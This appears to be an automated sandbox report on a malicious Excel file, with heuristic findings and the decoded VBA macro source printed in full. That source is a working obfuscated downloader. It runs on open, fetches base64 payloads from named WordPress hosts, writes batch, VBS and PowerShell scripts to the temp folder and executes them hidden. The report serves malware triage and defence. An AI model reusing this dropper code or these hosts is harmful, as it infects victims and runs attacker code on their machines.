MALICIOUS
254
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an Excel file containing obfuscated VBA macros. Critical heuristics indicate potential shell calls and dangerous API name reassembly, specifically mentioning 'MSXML2'. The Auto_Open and Workbook_Open macros are present, suggesting an attempt to execute code upon opening the document. The script attempts to construct paths and potentially execute payloads, indicated by the use of CreateObject and the construction of strings that resemble executable paths.
Heuristics 10
-
VBA macros detected medium 8 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
a = Shell(b, 0) -
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Set objXML = CreateObject("" & QHDHUQW) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objXML = CreateObject("" & QHDHUQW) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Goabc = Environ(sps) -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10975 bytes |
SHA-256: 971017749c8131c5ed20f92643a17ade53104317e73636f4819c79322f145958 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
57 of 145 identifiers look randomly generated (e.g. 'hjfgqj2gejh2j12ghej'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Qkwdjqwdjlqqdw_Open()
End Sub
Sub Woqkwdjqwldkqw_Open()
End Sub
Sub Auto_Open()
Iqhdwjkqwhdkjqhdw
Jiqwjdkqwhjkqhd
End Sub
Sub Iqhdwjkqwhdkjqhdw()
ANJKDQW = "qhwkjekj2 k1hkeh12eh1 sa"
End Sub
Sub Njqbwdjkqwbjw()
HQUDWQIUHWQ = "i12hei u12he1 ihe1"
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
ANQWDJKHQW = "21jhkejh2kj12 hekj1h2eh1"
Auto_Open
End Sub
Sub Jiqwjdkqwhjkqhd()
Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
Dim retVal As Variant, huwe As Integer, auwd As Integer, aabbb As Integer, BLAHUWDHS As String, YYDBHWD As String
YYDBHWD = Chr(90 + 2)
YUGQYD = Ubqhwdhwqbd(23269) + ""
BLAHUWDHS = Chr(84) & "em" + "p"
QHDQUWH = YUGQYD
FL2 = QHDQUWH
PH2 = Module2.Goabc(BLAHUWDHS) + YYDBHWD
woweffect = 9
jwnqdw = -1
JIQWDJQ = 12312312
JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
AAAA = JIQWDJQ
HYWDAX = "bakjasdhuhq dqwhdiquw t"
JWIDJIAAA = ""
HUYFEA = "qhiwdq uiqwhdjqw kjqwh 2gj11"
QIWJDABB = "b"
HUYFEA = QIWJDABB + "a" + "t"
IUQJWD = "12jhekj12 jh12jeh jk12 ehk1j "
PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
huwe = NUqwdqwbdsad(1 - 300 * Sin(20))
SSS = Chr(AAAA + 2 + huwe)
VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 2) + HUYFEA
INTG = "" & "o" & "bject"
KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
AFTG = "m" & KIWD
SXEE = Chr(46)
SXAA = Chr(101)
SXE = SXEE & SXAA & "" & "xe"
GNG = "" & ".jpg" & ""
HUQD = Chr(30 + 16 + 1)
ATTH = "ht" & "t" & "" & "p" & ":" & "/" & Chr(47)
BQHJDQ = Chr(50 + 50 + 15) + "av" & "epi" + "c." & "s" & "u" + HUQD
PSPTH = PH2 + PSFL
VBPTH = PH2 + VBFL
BAPTH = "qjdiqw idjqkwhdqwhdjkqh "
ABPTH = PH2 + BAFL
BAPTH = ABPTH
JHQKWDQAASS = BQHJDQ
Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
DRT = 315
BFT = 316
CFT = 317
DFT = 318
EFT = 319
Dim NUWDHUQHUQWDH As String
NUWDHUQHUQWDH = "USE" & "RPROFILE"
Dim PBIn As String, asdwq As String, MIWDWQ As String
TSTS = "." + "t" + "xt"
CDDD = "6727156315273" + TSTS
LNSS = "kaka" + TSTS
STT1 = "mudofonia.com/w" + "p-content/the" + "mes/twen" + "tytwelve/"
STT2 = "louisepowers.com/w" + "p-content/plu" + "gins/my-calendar/"
PBIn = ATTH + STT1 + CDDD
CONT = Module2.Ljqwidhqwiudhwq(PBIn)
asdwq = Rasdas(CONT)
HQUWDAAA = "0"
If (asdwq <> "=") Then
PBIn = ATTH + STT2 + CDDD
CONT = Module2.Ljqwidhqwiudhwq(PBIn)
asdwq = CONT
HQUWDAAA = "1"
End If
CONT = Quqhwdbyas(asdwq)
Dim ahuywdgqy As String
TVT10 = Port(CONT, "t" + "ext10")
TVT20 = Port(CONT, "text20")
TVT21 = Port(CONT, "text21")
TVT30 = Port(CONT, "text30")
TVT31 = Port(CONT, "text31")
XPT1 = Port(CONT, "stext1")
XPT2 = Port(CONT, "stext2")
XPT3 = Port(CONT, "stext3")
WVR = Module2.Goabc(NUWDHUQHUQWDH)
hufehu1 = InStr(WVR, "sers\")
Dim hudhw As Integer
Dim ghdAdd(1 To 3)
ghdAdd(1) = "1"
ghdAdd(2) = "0"
ghdAdd(3) = "0"
If (hufehu1 <> 0) Then
ghdAdd(1) = "2"
Else
ghdAdd(2) = "3"
End If
JHWQUD = Join(ghdAdd)
hudhw = Val(JHWQUD)
Module2.WaitFor (1)
MIWDWQ = ATTH + STT1 + LNSS
If (HQUWDAAA = "1") Then
MIWDWQ = ATTH + STT2 + LNSS
End If
SEXX = Module2.Ljqwidhqwiudhwq(MIWDWQ)
PSTB = PBIn + "123123123"
MSTAR1 = JHQKWDQAASS + "5751812" + GNG
MSTAR2 = JHQKWDQAASS + "5757956" + GNG
STAR1 = ATTH + MSTAR1
STAR2 = ATTH + MSTAR2
FFQ = "8"
FF = FFQ + SXE
If (hudhw = 130) Then
Open BAPTH For Output As #DRT
Print #DRT, XPT1
Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
Print #DRT, XPT2
Close #DRT
Module2.WaitFor (1)
Open VBPTH For Output As #BFT
Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
Print #BFT, XPT3
Close #BFT
BDDT.WaitFor (1)
NTH1 = Module1.GHJgwqdjqgw(retVal, BAPTH)
End If
HUDQG = "';"
If (hudhw = 200) Then
ZPQSKD = FL2
Open PSPTH For Output As #CFT
Print #CFT, "$ujdkwq = 'jqwdb';"
Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
Print #CFT, "$ggtt = '" + SEXX + "';"
Print #CFT, "$pths = '" + PH2 + HUDQG
Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
Print #CFT, "$nnm = '" + FFQ + "';"
Print #CFT, TVT10
Close #CFT
Open VBPTH For Output As #DFT
Print #DFT, TVT30
Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
Print #DFT, TVT31
Close #DFT
Open BAPTH For Output As #EFT
Print #EFT, "@" + "ec" + "ho off"
Print #EFT, ":bubqdhjgsah"
Print #EFT, TVT20
Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
Print #EFT, ":asdnjkwqjkqw"
Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
Print #EFT, ":wdnkqwjdqlwjw"
Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
Print #EFT, TVT21
Close #EFT
Module2.WaitFor (1)
NTH2 = Module1.GHJgwqdjqgw(retVal, BAPTH)
End If
End Sub
Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function
Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function
Public Function Quqhwdbyas(ByVal strData As String) As String
Dim objXML As Object
Dim objNode As Object
Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
nudqwd = Log10(100)
asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
Set objXML = CreateObject("" & QHDHUQW)
Set objNode = objXML.createElement("b6" + "4")
objNode.DataType = "bin.b" + Chr(97) + "se6" + "4"
objNode.Text = strData
WUDHA = objNode.nodeTypedValue
Quqhwdbyas = WUDHA
Set objNode = Nothing
Set objXML = Nothing
End Function
Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function
Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function
Private Static Function Log10(x)
BQDHWQJDGWJ = "hjfgqj2gejh2j12ghej j12ge2"
Log10 = Log(x) / Log(10#)
End Function
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Public Function GHJgwqdjqgw(a As Variant, b)
BQHDJQW = "jhkj21e 2h1ge12jhg e22"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function
Public Function Moloko(a, b, c)
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
Moloko = Mid(a, b, c)
ANDKSJ = "n21jk3h 21jkh2k1k2j1"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
End Function
Attribute VB_Name = "Module2"
Public Function Goabc(sps As String)
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
Goabc = Environ(sps)
End Function
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Ljqwidhqwiudhwq(a As String)
Dim xjhdkqw As Integer, Kuhqwdhuihsaudhiqwdhqi As Object
Dim vvJasdj As String
vvJasdj = a
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQDHJQWDGWQJGS = "" & "M" & "SXML2." & "Ser" & "ver" & "X" & "MLH" & Chr(84) & Chr(84) & Chr(80)
Set Kuhqwdhuihsaudhiqwdhqi = CreateObject(BQDHJQWDGWQJGS)
Kuhqwdhuihsaudhiqwdhqi.Open "G" & "" & "ET", vvJasdj
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
Kuhqwdhuihsaudhiqwdhqi.Send ("")
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
Ljqwidhqwiudhwq = Kuhqwdhuihsaudhiqwdhqi.responsetext
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.